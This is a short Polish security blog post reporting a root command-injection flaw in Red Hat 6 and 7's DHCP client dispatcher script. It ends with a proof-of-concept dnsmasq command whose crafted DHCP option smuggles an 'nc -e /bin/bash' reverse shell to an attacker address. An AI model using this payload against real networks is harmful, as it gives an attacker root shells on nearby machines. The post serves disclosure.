RedHat – wykonywanie kodu po stronie klienta DHCP
Napisał: Patryk Krawaczyński
16/05/2018 w Bezpieczeństwo Brak komentarzy. (artykuł nr 659, ilość słów: 232)
F
elix Wilhelm z Google Security Team zgłosił błąd w działaniu klienta DHCP (dhclient
) dotykający dystrybucje RedHat w wersji 6 i 7. Spreparowany serwer DHCP lub atakujący znajdujący się w sieci lokalnej, który może sfałszować odpowiedzi serwera DHCP jest w stanie wykorzystać wspomnianą lukę w celu wykonania dowolnych poleceń z prawami administratora na systemach używających NetworkManagera, które wykorzystują protokół DHCP do uzyskania konfiguracji sieci.
Protokół DHCP jest używany do konfiguracji sieciowej hostów z poziomu centralnego serwera. Kiedy host podłącza się do sieci może rozgłosić w niej żądania DHCP w celu otrzymania prawidłowej konfiguracji pod postacią adresu IP, bramy (routera), serwerów DNS itp. Pakiet instalacyjny programu klienta DHCP – dhclient
dostarczony przez RedHat posiada skrypt /etc/NetworkManager/dispatcher.d/11-dhclient
( RH v7 ) lub /etc/NetworkManager/dispatcher.d/10-dhclient
( RH v6 ) jako komponent NetworkManagera. Jest on wykonywany za każdym razem kiedy manager otrzyma odpowiedź od serwera DHCP. Spreparowana odpowiedź serwera DHCP może spowodować, że skrypt ten wykona dowolne polecenia w powłoce systemu z uprawnieniami administratora.
Dowód koncepcji sprowadza się do wstrzyknięcia odwróconej powłoki na maszynie ofiary, do której możemy połączyć się z zdalnego, obcego systemu:
dnsmasq --interface=eth0 --bind-interfaces --except-interface=lo --dhcp-range=10.1.1.1,10.1.1.10,1h --conf-file=/dev/null --dhcp-option=6,10.1.1.1 --dhcp-option=3,10.1.1.1 --dhcp-option="252,x'&nc -e /bin/bash 10.1.1.1 1337 #"
Więcej informacji: DHCP Client Script Code Execution Vulnerability